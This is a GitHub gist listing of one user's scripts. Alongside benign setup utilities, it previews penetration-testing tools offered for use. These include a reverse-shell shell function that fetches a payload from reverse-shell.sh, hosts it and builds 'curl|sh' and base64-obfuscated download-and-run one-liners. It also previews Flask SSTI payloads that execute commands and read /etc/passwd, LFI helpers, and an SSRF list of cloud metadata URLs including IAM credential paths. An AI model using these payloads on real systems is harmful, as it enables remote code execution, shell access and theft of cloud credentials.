Skip to content

Instantly share code, notes, and snippets.

View zAbuQasem's full-sized avatar
🎯
Focusing

Zeyad Abulaban zAbuQasem

🎯
Focusing
View GitHub Profile
@zAbuQasem
zAbuQasem / DockerRegistryGrabber-v2.sh
Created February 10, 2025 22:40
Download layers of Multi-Platform container images.
#!/bin/bash
# Author: zAbuQasem
# GitHub: https://github.com/zAbuQasem
# Script extract only `latest` tag image layers from a the registry, check line 142 to change the tag
## You can get tag from the registry by running the following command
### curl -s http://localhost:5000/v2/your-image-name/tags/list
# Define colors
@zAbuQasem
zAbuQasem / create-package.sh
Created April 12, 2024 02:58
Create apt package and serve it
#!/bin/bash
# Create necessary directory structure
mkdir -p package/package_1.0.0-1_amd64
cd package/package_1.0.0-1_amd64
# Create directory for binary
mkdir -p usr/bin
cd usr/bin
@zAbuQasem
zAbuQasem / reverse-shell.sh
Created April 9, 2024 03:21
Add this function to your `$SHELL.rc` file
s() {
local ip=$(ip -4 addr show tun0 | grep inet | awk '{print $2}' | cut -d/ -f1)
case "$1" in
-w ) echo -n "wget -qO - http://$ip/x |sh" | xclip -sel clip ;;
-e ) payload="echo $(curl -sq https://reverse-shell.sh/$ip:443 | sed '/^#/d' | base64 -w0) | base64 -d | sh" ; echo "echo $(echo $payload | base64 -w0)| base64 -d | sh" | xclip -sel clip ; return 0;;
* ) echo -n "curl $ip/x|sh" | xclip -sel clip ;;
esac
curl https://reverse-shell.sh/$ip:443 -o x
python3 -m http.server 80
}
@zAbuQasem
zAbuQasem / ssh-config.sh
Last active April 19, 2024 04:43
Add an entry to ssh config
#!/bin/bash
if [[ $# -lt 2 ]]; then
echo -e "\e[31m[Error]: Not enough arguments!\e[0m"
echo -e "\e[31m[!] Position Matters!\e[0m"
echo -e "\e[32m[+] Usage: ssh-config.sh [-i identity_file] [-p port] user@host alias\e[0m"
exit 1
fi
while getopts "i:p:" opt; do
@zAbuQasem
zAbuQasem / terminal.sh
Last active November 14, 2024 22:01
Configure new instance with fancy terminal
#!/bin/bash -xe
sudo apt update && sudo apt upgrade -y
sudo apt install -y zsh curl nano net-tools git ripgrep vim xclip fail2ban p7zip-full unzip dnsutils
git clone --depth 1 https://github.com/junegunn/fzf.git ~/.fzf
~/.fzf/install --all
curl https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh -o /tmp/install.sh &&
sed -i 's/CHSH=no/CHSH=yes/g' /tmp/install.sh &&
echo "Y" | sh /tmp/install.sh
sed -i 's/plugins=(git)/plugins=(git fzf)/g' ~/.zshrc
@zAbuQasem
zAbuQasem / patch-ingress.py
Last active April 19, 2024 04:43
Quickly Patch ingress-nginx to handle TCP traffic:
import argparse
import subprocess
import yaml
__author__ = "Zeyad AbuLaban"
BASE_YAML = """
spec:
template:
spec:
@zAbuQasem
zAbuQasem / SSTI.txt
Created October 22, 2023 18:47
Flask SSTI payloads
# Time Based
{% if lipsum.__globals__["os"].popen('head -c 1 /etc/passwd').read() == "r" %}Free-Palestine{% elif lipsum.__globals__["os"].popen('sleep 5').read() %}Free-Palestine{% endif %}
# Boolen Based
{% if lipsum.__globals__["os"].popen('head -c 1 /etc/passwd').read() == "r" %}Free-Palestine{% endif %}
# You may pipe chars to md5sum in order to retrieve new lines without headache
{% if lipsum.__globals__["os"].popen('head -c 1 /etc/passwd | md5sum | cut -d " " -f1 | tr -d "\n"').read() == "4b43b0aee35624cd95b910189b3dc231" %}Free-Palestine{% endif %}
# Written by zAbuQasem
# Usage: cat /proc/net/tcp | awk '{print $2}' |grep -E '[A-F0-9]' | python3 lfi-portscan.py
import sys
import struct
import socket
addresses = [i.strip() for i in sys.stdin]
for address in addresses:
hex_ip,port = address.split(":")[0],address.split(":")[1]
@zAbuQasem
zAbuQasem / zlfi.py
Created April 18, 2023 23:16
LFI Console template
import requests
import readline
import base64
from rich import print_json
from rich.console import Console
import json
readline.read_history_file("lfi.history")
readline.parse_and_bind("tab: complete")
r = Console()
@zAbuQasem
zAbuQasem / cloud_metadata.txt
Created July 21, 2021 11:59 — forked from jhaddix/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## AWS
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key